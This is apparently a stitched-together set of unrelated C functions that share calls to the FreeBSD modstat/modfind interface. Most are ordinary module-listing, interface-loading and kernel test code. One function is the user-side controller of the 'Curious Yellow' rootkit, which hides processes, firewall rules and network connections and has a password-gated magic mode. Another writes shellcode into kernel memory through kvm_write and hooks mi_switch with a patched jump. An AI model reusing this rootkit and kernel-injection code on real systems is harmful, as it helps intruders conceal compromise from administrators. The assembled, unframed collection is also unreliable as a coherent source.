int main(void) { int my_pid = getpid(); int parent = getppid(); int rc_get, rc_set; int myrand = rand(); struct module_stat stat_get; struct module_stat stat_set; stat_get.version = sizeof(stat_get); modstat(modfind("getProcessTickets"), &stat_get); get_num = stat_get.data.intval; stat_set.version = sizeof(stat_set); modstat(modfind("setProcessTickets"), &stat_set); set_num = stat_set.data.intval; printf("get_num %d set_num %d \n", get_num, set_num); rc_get = getProcessTickets(my_pid); printf("rc_get before set = %d\n", rc_get); rc_set = setProcessTickets(my_pid, myrand); printf("rc_set = %d (pid = %d)\n", rc_set, myrand); rc_get = getProcessTickets(my_pid); printf("rc_get after set = %d\n", rc_get); return 0; }
/* * Load the if_bridge.ko module in kernel if not already there. */ int bridge_kmod_load(void) { int fileid, modid; const char mod_name[] = "if_bridge"; struct module_stat mstat; /* Scan files in kernel. */ mstat.version = sizeof(struct module_stat); for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) { /* Scan modules in file. */ for (modid = kldfirstmod(fileid); modid > 0; modid = modfnext(modid)) { if (modstat(modid, &mstat) < 0) continue; if (strcmp(mod_name, mstat.name) == 0) return (0); } } /* Not present - load it. */ if (kldload(mod_name) < 0) { syslog(LOG_ERR, "failed to load %s kernel module", mod_name); return (-1); } return (1); }
int kld_isloaded(const char *name) { struct kld_file_stat fstat; struct module_stat mstat; const char *ko; int fid, mid; for (fid = kldnext(0); fid > 0; fid = kldnext(fid)) { fstat.version = sizeof(fstat); if (kldstat(fid, &fstat) != 0) continue; /* check if the file name matches the supplied name */ if (strcmp(fstat.name, name) == 0) return (1); /* strip .ko and try again */ if ((ko = strstr(fstat.name, ".ko")) != NULL && strlen(name) == (size_t)(ko - fstat.name) && strncmp(fstat.name, name, ko - fstat.name) == 0) return (1); /* look for a matching module within the file */ for (mid = kldfirstmod(fid); mid > 0; mid = modfnext(mid)) { mstat.version = sizeof(mstat); if (modstat(mid, &mstat) != 0) continue; if (strcmp(mstat.name, name) == 0) return (1); } } return (0); }
static void printmod(int modid) { struct module_stat stat; stat.version = sizeof(struct module_stat); if (modstat(modid, &stat) < 0) warn("can't stat module id %d", modid); else printf("\t\t%2d %s\n", stat.id, stat.name); }
void ifmaybeload(const char *name) { #ifndef __rtems__ #define MOD_PREFIX_LEN 3 /* "if_" */ struct module_stat mstat; int fileid, modid; char ifkind[IFNAMSIZ + MOD_PREFIX_LEN], ifname[IFNAMSIZ], *dp; const char *cp; /* loading suppressed by the user */ if (noload) return; /* trim the interface number off the end */ strlcpy(ifname, name, sizeof(ifname)); for (dp = ifname; *dp != 0; dp++) if (isdigit(*dp)) { *dp = 0; break; } /* turn interface and unit into module name */ strcpy(ifkind, "if_"); strlcpy(ifkind + MOD_PREFIX_LEN, ifname, sizeof(ifkind) - MOD_PREFIX_LEN); /* scan files in kernel */ mstat.version = sizeof(struct module_stat); for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) { /* scan modules in file */ for (modid = kldfirstmod(fileid); modid > 0; modid = modfnext(modid)) { if (modstat(modid, &mstat) < 0) continue; /* strip bus name if present */ if ((cp = strchr(mstat.name, '/')) != NULL) { cp++; } else { cp = mstat.name; } /* already loaded? */ if (strncmp(ifname, cp, strlen(ifname) + 1) == 0 || strncmp(ifkind, cp, strlen(ifkind) + 1) == 0) return; } } /* not present, we should try to load it */ kldload(ifkind); #endif }
int main(int argc, char **argv) { int syscall_num, error, modid; struct module_stat mstat; const char* verb; modid = modfind("sys/mytest"); if (modid < 0) { perror("unable to find module mytest"); exit(modid); } mstat.version = sizeof mstat; if (0 != (error = modstat(modid, &mstat))) { perror("unable to get module status"); exit(error); } syscall_num = mstat.data.intval; printf("syscall num: %d\n", syscall_num); verb = (argc <= 1) ? "" : argv[1]; if (0 == strcmp(verb, "print") && argc == 3) { error = syscall(syscall_num, 0, 0, argv[2], 0, NULL); if (error) perror("error"); } else if (0 == strcmp(verb, "devtree") && argc == 2) { error = syscall(syscall_num, 10, 0, NULL, 0, NULL); if (error) perror("error"); } else if (0 == strcmp(verb, "panic") && argc == 2) { error = syscall(syscall_num, 100, 0, NULL, 0, NULL); if (error) perror("error"); } else { printf("usage: test print string\n"); printf(" test panic\n"); error = EINVAL; } return error; }
static void printmod(int modid) { struct module_stat stat; bzero(&stat, sizeof(stat)); stat.version = sizeof(struct module_stat); if (modstat(modid, &stat) < 0) warn("can't stat module id %d", modid); else if (showdata) { printf("\t\t%2d %s (%d, %u, 0x%lx)\n", stat.id, stat.name, stat.data.intval, stat.data.uintval, stat.data.ulongval); } else { printf("\t\t%2d %s\n", stat.id, stat.name); } }
void ifmaybeload(const char *name) { struct module_stat mstat; int fileid, modid; char ifkind[35], *dp; const char *cp; /* turn interface and unit into module name */ strcpy(ifkind, "if_"); for (cp = name, dp = ifkind + 3; (*cp != 0) && !isdigit(*cp); cp++, dp++) *dp = *cp; *dp = 0; /* scan files in kernel */ mstat.version = sizeof(struct module_stat); for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) { /* scan modules in file */ for (modid = kldfirstmod(fileid); modid > 0; modid = modfnext(modid)) { if (modstat(modid, &mstat) < 0) continue; /* strip bus name if present */ if ((cp = strchr(mstat.name, '/')) != NULL) { cp++; } else { cp = mstat.name; } /* already loaded? */ if (strncmp(name, cp, strlen(cp)) == 0 || strncmp(ifkind, cp, strlen(cp)) == 0) return; } } /* not present, we should try to load it */ kldload(ifkind); }
int main(int argc, char** argv) { int c; int verbose = 0; int fileid = 0; int quiet = 0; char* filename = NULL; char* modname = NULL; char* p; while ((c = getopt(argc, argv, "i:m:n:qv")) != -1) switch (c) { case 'i': fileid = (int)strtoul(optarg, &p, 10); if (*p != '\0') usage(); break; case 'm': modname = optarg; break; case 'n': filename = optarg; break; case 'q': quiet = 1; break; case 'v': verbose = 1; break; default: usage(); } argc -= optind; argv += optind; if (argc != 0) usage(); if (modname != NULL) { int modid; struct module_stat stat; if ((modid = modfind(modname)) < 0) { if (!quiet) warn("can't find module %s", modname); return 1; } else if (quiet) { return 0; } stat.version = sizeof(struct module_stat); if (modstat(modid, &stat) < 0) warn("can't stat module id %d", modid); else { printf("Id Refs Name\n"); printf("%3d %4d %s\n", stat.id, stat.refs, stat.name); } return 0; } if (filename != NULL) { if ((fileid = kldfind(filename)) < 0) err(1, "can't find file %s", filename); } printf("Id Refs Address%*c Size Name\n", POINTER_WIDTH - 7, ' '); if (fileid != 0) printfile(fileid, verbose); else for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) printfile(fileid, verbose); return 0; }
int main(int argc, char **argv) { int retval,opt; struct module_stat stat; int module_num; pid_t pid; u_short numrule; struct connection conn; char magic[21]; char *p; printf("Welcome to Curious Yellow\n\n"); /* first of all find the syscalls */ stat.version = sizeof(stat); if(modstat(modfind("cy"), &stat) != 0) { /* unable to locate module, take first argument */ if(!argv[1]) { usage(); exit(-1); } module_num = atoi(argv[1]); optind = 2; } else { module_num = stat.data.intval; } /* find out what needs to be done */ while ((opt = getopt(argc, argv, "h:u:o:c:elNUV")) != EOF) { switch(opt) { case 'h': /* hide the given process */ pid = atoi(optarg); retval = syscall(module_num,MOD_PROC_HIDE,&pid); if(retval != 0) { fprintf(stderr,"Unable to hide process: %s\n",strerror(errno)); exit(-1); } break; case 'u': /* unhide the given process */ pid = atoi(optarg); retval = syscall(module_num,MOD_PROC_UNHIDE,&pid); if(retval != 0) { fprintf(stderr,"Unable to unhide process: %s\n",strerror(errno)); exit(-1); } break; case 'o': /* hide the given firewall rule */ numrule = atoi(optarg); retval = syscall(module_num,MOD_HIDE_FW,&numrule); if(retval != 0) { fprintf(stderr,"Unable to hide firewall rule: %s\n",strerror(errno)); exit(-1); } break; case 'c': /* unhide the given firewall rule */ numrule = atoi(optarg); retval = syscall(module_num,MOD_UNHIDE_FW,&numrule); if(retval != 0) { fprintf(stderr,"Unable to unhide firewall rule: %s\n",strerror(errno)); exit(-1); } break; case 'e': /* get the magic word */ printf("Magic word: "); if(fgets(magic, 20, stdin) == NULL) { perror("Unable to read input"); exit(-1); } if((p = strchr(magic, '\n')) != NULL) *p = '\0'; retval = syscall(module_num,MOD_ENTER,magic); if(retval != 0) { fprintf(stderr,"Unable to enter magic mode: %s\n",strerror(errno)); exit(-1); } break; case 'l': /* leave magic user mode */ retval = syscall(module_num,MOD_LEAVE,NULL); if(retval != 0) { fprintf(stderr,"Unable to leave magic mode: %s\n",strerror(errno)); exit(-1); } break; case 'N': /* hide a network connection */ get_connection(&conn); retval = syscall(module_num, MOD_NET_HIDE, &conn); if(retval != 0) { fprintf(stderr,"Unable to hide new network connection: %s\n",strerror(errno)); exit(-1); } break; case 'U': /* unhide a network connection */ get_connection(&conn); retval = syscall(module_num, MOD_NET_UNHIDE, &conn); if(retval != 0) { fprintf(stderr,"Unable to hide new network connection: %s\n",strerror(errno)); exit(-1); } break; case 'V': /* view configured list of hidden connections */ view_connections(module_num); break; default: usage(); exit(-1); } /* switch */ } /* while */ if(optind == 1) { usage(); exit(-1); } }
int main(int argc, char **argv) { struct module_stat stat; int mod; int syscall_num; stat.version = sizeof(stat); mod = modfind("gsstest_syscall"); if (mod < 0) { fprintf(stderr, "%s: kernel support not present\n", argv[0]); exit(1); } modstat(mod, &stat); syscall_num = stat.data.intval; switch (atoi(argv[1])) { case 1: syscall(syscall_num, 1, NULL, NULL); break; case 2: { struct gsstest_2_args args; struct gsstest_2_res res; char hostname[512]; char token_buffer[8192]; OM_uint32 maj_stat, min_stat; gss_ctx_id_t client_context = GSS_C_NO_CONTEXT; gss_cred_id_t client_cred; gss_OID mech_type = GSS_C_NO_OID; gss_buffer_desc name_buf, message_buf; gss_name_t name; int32_t enctypes[] = { ETYPE_DES_CBC_CRC, ETYPE_ARCFOUR_HMAC_MD5, ETYPE_ARCFOUR_HMAC_MD5_56, ETYPE_AES256_CTS_HMAC_SHA1_96, ETYPE_AES128_CTS_HMAC_SHA1_96, ETYPE_DES3_CBC_SHA1, }; int num_enctypes = sizeof(enctypes) / sizeof(enctypes[0]); int established; int i; for (i = 0; i < num_enctypes; i++) { printf("testing etype %d\n", enctypes[i]); args.output_token.length = sizeof(token_buffer); args.output_token.value = token_buffer; gethostname(hostname, sizeof(hostname)); snprintf(token_buffer, sizeof(token_buffer), "nfs@%s", hostname); name_buf.length = strlen(token_buffer); name_buf.value = token_buffer; maj_stat = gss_import_name(&min_stat, &name_buf, GSS_C_NT_HOSTBASED_SERVICE, &name); if (GSS_ERROR(maj_stat)) { printf("gss_import_name failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } maj_stat = gss_acquire_cred(&min_stat, GSS_C_NO_NAME, 0, GSS_C_NO_OID_SET, GSS_C_INITIATE, &client_cred, NULL, NULL); if (GSS_ERROR(maj_stat)) { printf("gss_acquire_cred (client) failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } maj_stat = gss_krb5_set_allowable_enctypes(&min_stat, client_cred, 1, &enctypes[i]); if (GSS_ERROR(maj_stat)) { printf("gss_krb5_set_allowable_enctypes failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } res.output_token.length = 0; res.output_token.value = 0; established = 0; while (!established) { maj_stat = gss_init_sec_context(&min_stat, client_cred, &client_context, name, GSS_C_NO_OID, (GSS_C_MUTUAL_FLAG |GSS_C_CONF_FLAG |GSS_C_INTEG_FLAG |GSS_C_SEQUENCE_FLAG |GSS_C_REPLAY_FLAG), 0, GSS_C_NO_CHANNEL_BINDINGS, &res.output_token, &mech_type, &args.input_token, NULL, NULL); if (GSS_ERROR(maj_stat)) { printf("gss_init_sec_context failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } if (args.input_token.length) { args.step = 1; syscall(syscall_num, 2, &args, &res); gss_release_buffer(&min_stat, &args.input_token); if (res.maj_stat != GSS_S_COMPLETE && res.maj_stat != GSS_S_CONTINUE_NEEDED) { printf("gss_accept_sec_context (kernel) failed\n"); report_error(mech_type, res.maj_stat, res.min_stat); goto out; } } if (maj_stat == GSS_S_COMPLETE) established = 1; } message_buf.value = "Hello world"; message_buf.length = strlen((char *) message_buf.value); maj_stat = gss_get_mic(&min_stat, client_context, GSS_C_QOP_DEFAULT, &message_buf, &args.input_token); if (GSS_ERROR(maj_stat)) { printf("gss_get_mic failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } args.step = 2; syscall(syscall_num, 2, &args, &res); gss_release_buffer(&min_stat, &args.input_token); if (GSS_ERROR(res.maj_stat)) { printf("kernel gss_verify_mic failed\n"); report_error(mech_type, res.maj_stat, res.min_stat); goto out; } maj_stat = gss_verify_mic(&min_stat, client_context, &message_buf, &res.output_token, NULL); if (GSS_ERROR(maj_stat)) { printf("gss_verify_mic failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } maj_stat = gss_wrap(&min_stat, client_context, TRUE, GSS_C_QOP_DEFAULT, &message_buf, NULL, &args.input_token); if (GSS_ERROR(maj_stat)) { printf("gss_wrap failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } args.step = 3; syscall(syscall_num, 2, &args, &res); gss_release_buffer(&min_stat, &args.input_token); if (GSS_ERROR(res.maj_stat)) { printf("kernel gss_unwrap failed\n"); report_error(mech_type, res.maj_stat, res.min_stat); goto out; } maj_stat = gss_unwrap(&min_stat, client_context, &res.output_token, &message_buf, NULL, NULL); if (GSS_ERROR(maj_stat)) { printf("gss_unwrap failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } gss_release_buffer(&min_stat, &message_buf); maj_stat = gss_wrap(&min_stat, client_context, FALSE, GSS_C_QOP_DEFAULT, &message_buf, NULL, &args.input_token); if (GSS_ERROR(maj_stat)) { printf("gss_wrap failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } args.step = 4; syscall(syscall_num, 2, &args, &res); gss_release_buffer(&min_stat, &args.input_token); if (GSS_ERROR(res.maj_stat)) { printf("kernel gss_unwrap failed\n"); report_error(mech_type, res.maj_stat, res.min_stat); goto out; } maj_stat = gss_unwrap(&min_stat, client_context, &res.output_token, &message_buf, NULL, NULL); if (GSS_ERROR(maj_stat)) { printf("gss_unwrap failed\n"); report_error(mech_type, maj_stat, min_stat); goto out; } gss_release_buffer(&min_stat, &message_buf); args.step = 5; syscall(syscall_num, 2, &args, &res); gss_release_name(&min_stat, &name); gss_release_cred(&min_stat, &client_cred); gss_delete_sec_context(&min_stat, &client_context, GSS_C_NO_BUFFER); } break; } case 3: syscall(syscall_num, 3, NULL, NULL); break; case 4: syscall(syscall_num, 4, NULL, NULL); break; } return (0); out: return (1); }
int main(int argc, char** argv) { int c; int humanized = 0; int verbose = 0; int fileid = 0; int quiet = 0; char* filename = NULL; char* modname = NULL; char* p; while ((c = getopt(argc, argv, "dhi:m:n:qv")) != -1) switch (c) { case 'd': showdata = 1; break; case 'h': humanized = 1; break; case 'i': fileid = (int)strtoul(optarg, &p, 10); if (*p != '\0') usage(); break; case 'm': modname = optarg; break; case 'n': filename = optarg; break; case 'q': quiet = 1; break; case 'v': verbose = 1; break; default: usage(); } argc -= optind; argv += optind; if (argc != 0) usage(); if (modname != NULL) { int modid; struct module_stat stat; if ((modid = modfind(modname)) < 0) { if (!quiet) warn("can't find module %s", modname); return 1; } else if (quiet) { return 0; } stat.version = sizeof(struct module_stat); if (modstat(modid, &stat) < 0) warn("can't stat module id %d", modid); else { if (showdata) { printf("Id Refs Name data..(int, uint, ulong)\n"); printf("%3d %4d %s (%d, %u, 0x%lx)\n", stat.id, stat.refs, stat.name, stat.data.intval, stat.data.uintval, stat.data.ulongval); } else { printf("Id Refs Name\n"); printf("%3d %4d %s\n", stat.id, stat.refs, stat.name); } } return 0; } if (filename != NULL) { if ((fileid = kldfind(filename)) < 0) { if (!quiet) warn("can't find file %s", filename); return 1; } else if (quiet) { return 0; } } if (humanized) printf("Id Refs Address%*c %5s Name\n", POINTER_WIDTH - 7, ' ', "Size"); else printf("Id Refs Address%*c %8s Name\n", POINTER_WIDTH - 7, ' ', "Size"); if (fileid != 0) printfile(fileid, verbose, humanized); else for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) printfile(fileid, verbose, humanized); return 0; }
int main(int argc, char ** argv) { int i, call_offset , syscall_num; struct module_stat stat ; char errbuf[_POSIX2_LINE_MAX]; kvm_t *kd; struct nlist nl[] = { {NULL}, {NULL}, {NULL}}; unsigned char miswitch_code[100]; unsigned long addr = 0, addr1 = 0, size; stat.version = sizeof(stat) ; modstat(modfind("kmalloc"), &stat); syscall_num = stat.data.intval; syscall(syscall_num, 100, &addr1); // This address addr1 is where we will store the original // version of the mi_switch code. This will be used // by the uninstall routine. printf("Address 1 is %0x \n", addr1); kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if (kd == NULL) { fprintf(stderr, "ERROR: %s\n", errbuf); exit(-1); } nl[0].n_name = "printf"; nl[1].n_name = "mi_switch"; if (kvm_nlist(kd, nl) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } if (!nl[0].n_value) { fprintf(stderr, "ERROR: Symbol %s not found \n"); exit(-1); } if (kvm_read(kd, nl[1].n_value, miswitch_code, 100) < 0 ) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // We want to copy the start of the mi_switch code // into the array. // We pick a point somewhere near the start (the point // is defined by the 0x64 bytecode. for (i = 0; i < 100 ; i++) { if (miswitch_code[i] == 0x64) { call_offset = i; break; } } size = (unsigned long)sizeof(shellcode) + (unsigned long)call_offset + (unsigned long)sizeof(jump); // This memory allocation is for copying the shellcode and the starting // few bytes of mi_switch and the jmp code. syscall(syscall_num, size, &addr); printf("Call offset for kern_mkdir is %d\n", call_offset); // The two patches below are for a) The first movl for the format string // of the printf call and b) for the address of the printf call. *(unsigned long *)&shellcode[41] = addr; *(unsigned long *)&shellcode[50] = nl[0].n_value - (addr + H_OFFSET_1); // Write shellcode if (kvm_write(kd, addr, shellcode, sizeof(shellcode)) < 0 ) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // Copy mi_switch to addr1 for later restore in uninstall routine. if (kvm_write(kd, addr1, miswitch_code, sizeof(miswitch_code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // Now write the first few bytes of mi_switch after the shellcode. if (kvm_write(kd, addr + (unsigned long)sizeof(shellcode) - 1, miswitch_code, call_offset) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // First patch of jump to jump back to the point in mi_switch after the // initial bytes that were copied to the shellcode. *(unsigned long *)&jump[1] = nl[1].n_value + (unsigned long)call_offset; // Write the patched jump code after the mi_switch code. if (kvm_write(kd, addr + (unsigned long)sizeof(shellcode) - 1 + (unsigned long)call_offset, jump, sizeof(jump)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // Second patch of jump to jump to the part of the shellcode after // the initial data string. Data doesnt execute, ha ha. *(unsigned long *)&jump[1] = addr + 0x17; // now write that jump code to the start of the mi_switch code. if (kvm_write(kd, nl[1].n_value , jump, sizeof(jump)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } if (kvm_close(kd) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } exit(0); }
void shutdownSystem(int action) { struct sigaction sa; memset(&sa, 0, sizeof(struct sigaction)); sa.sa_handler = SIG_IGN; sigaction(SIGCHLD, &sa, NULL); sigaction(SIGINT, &sa, NULL); sigaction(SIGTERM, &sa, NULL); sigaction(SIGHUP, &sa, NULL); sa.sa_flags = SA_SIGINFO; sa.sa_sigaction = onShutdownAlarm; sigaction(SIGALRM, &sa, NULL); printf("init: asking remaining processes to terminate...\n"); while (killNextProcess() == 0); printf("init: closing my remaining files...\n"); int fd; for (fd=3; fd<sysconf(_SC_OPEN_MAX); fd++) { close(fd); }; printf("init: unmounting filesystems...\n"); struct fsinfo currentFSList[256]; chdir("/"); chroot("rootfs"); size_t count = _glidix_fsinfo(currentFSList, 256); chroot("."); int i; for (i=count-1; i>=0; i--) { char actual_mntpoint[512]; sprintf(actual_mntpoint, "/rootfs/%s", currentFSList[i].fs_mntpoint); printf("init: unmount %s\n", actual_mntpoint); if (unmount(actual_mntpoint, 0) != 0) { printf("init: failed to unmount %s: %s\n", currentFSList[i].fs_mntpoint, strerror(errno)); printf("init: waiting 5 seconds and skipping this filesystem\n"); sleep(5); }; }; printf("init: removing all kernel modules...\n"); struct modstat ms; for (i=0; i<512; i++) { if (modstat(i, &ms) == 0) { if (rmmod(ms.mod_name, 0) != 0) { printf("init: failed to rmmod %s: %s\n", ms.mod_name, strerror(errno)); printf("Report this problem to the module developer.\n"); printf("I will now hang, you may turn off power manually.\n"); printf("If the problem persists, remove the module for your safety.\n"); while (1) pause(); }; }; }; printf("init: bringing the system down...\n"); _glidix_down(action); };